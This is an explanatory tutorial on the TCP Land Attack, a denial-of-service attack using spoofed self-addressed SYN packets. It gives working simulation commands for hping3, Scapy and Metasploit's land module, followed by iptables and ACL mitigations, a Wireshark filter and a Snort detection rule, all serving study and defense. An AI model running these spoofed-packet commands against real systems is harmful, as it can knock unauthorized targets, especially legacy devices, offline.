A Land Attack is a Denial-of-Service (DoS) attack where an attacker sends a spoofed TCP SYN packet with the same source and destination IP addresses (and sometimes the same port), causing the target system to enter an infinite loop or crash due to improper packet handling.
1. How the Attack Works
Normal TCP Connection vs. Land Attack
| Normal TCP Connection | Land Attack |
|---|---|
Client (IP_A:Port_X) → Server (IP_B:Port_Y) | Attacker sends IP_B:Port_Y → IP_B:Port_Y |
Server responds to IP_A | Server tries to respond to itself |
| Connection completes | System freezes or crashes |
Attack Mechanism
- Malicious Packet Crafting
- The attacker sends a SYN packet where:
- Source IP = Destination IP (e.g.,
192.168.1.1 → 192.168.1.1) - Source Port = Destination Port (optional, e.g.,
80 → 80)
- Source IP = Destination IP (e.g.,
- Target System Confusion
- The victim machine tries to respond to itself, leading to:
- Infinite loop (older systems like Windows 95/NT)
- Kernel panic (some Unix-based systems)
- Resource exhaustion (modern systems may just drop the packet)
- Denial of Service
- The target becomes unresponsive to legitimate requests.
2. Ethical Hacker Simulation in Pen Testing
Ethical hackers simulate Land Attacks to test system resilience against malformed packets.
Tools & Commands for Simulation
A. Using hping3 (Linux)
Bash
hping3 -S -a <target_IP> -p 80 -k -s 80 <target_IP>-S→ SYN flag-a <target_IP>→ Spoof source IP (same as target)-p 80→ Destination port-k -s 80→ Source port (optional, same as destination)
B. Using Scapy (Python)
Python
from scapy.all import *
target = "192.168.1.1"
packet = IP(src=target, dst=target) / TCP(sport=80, dport=80, flags="S")
send(packet, loop=1, verbose=0)C. Using Metasploit
Bash
msfconsole
use auxiliary/dos/tcp/land
set RHOST <target_IP>
set RPORT 80
run3. Prevention & Mitigation Strategies
A. Network-Level Defenses
-
Firewall Rules (Block Land Packets)
- Linux (iptables)
iptables -A INPUT -p tcp --tcp-flags SYN SYN -m iprange --src-range <target_IP>-<target_IP> -j DROP - Windows Firewall
- Use Group Policy to block packets with identical source/destination IPs.
- Linux (iptables)
-
Disable IP Spoofing (Ingress Filtering)
- ISP/Edge Router:
access-list 100 deny ip host <target_IP> host <target_IP>
- ISP/Edge Router:
-
Kernel Hardening (Linux/Windows)
- Linux:
sysctl -w net.ipv4.conf.all.rp_filter=1 # Enable Reverse Path Filtering - Windows:
- Disable TCP/IP auto-tuning (may help in some cases).
- Linux:
B. Detection & Monitoring
- Wireshark Filter
Plaintext
ip.src == ip.dst && tcp.flags.syn == 1- Snort IDS Rule
Plaintext
alert tcp any any -> any any (msg:"Land Attack Detected"; sameip; sid:1000004;)4. Tools for Attack & Defense
| Attack Tools | Defense Tools |
|---|---|
hping3 | iptables/nftables |
Scapy | Snort/Suricata |
Metasploit (land module) | Wireshark (detection) |
Conclusion
- Land Attack exploits TCP/IP stack flaws by sending self-referential packets.
- Ethical hackers simulate it using
hping3,Scapy, or Metasploit. - Prevention: Firewall rules, ingress filtering, and kernel hardening.
- Detection: Wireshark, Snort, and reverse path filtering.
Modern systems (Linux/Windows post-2000) are mostly patched, but legacy devices may still be vulnerable.
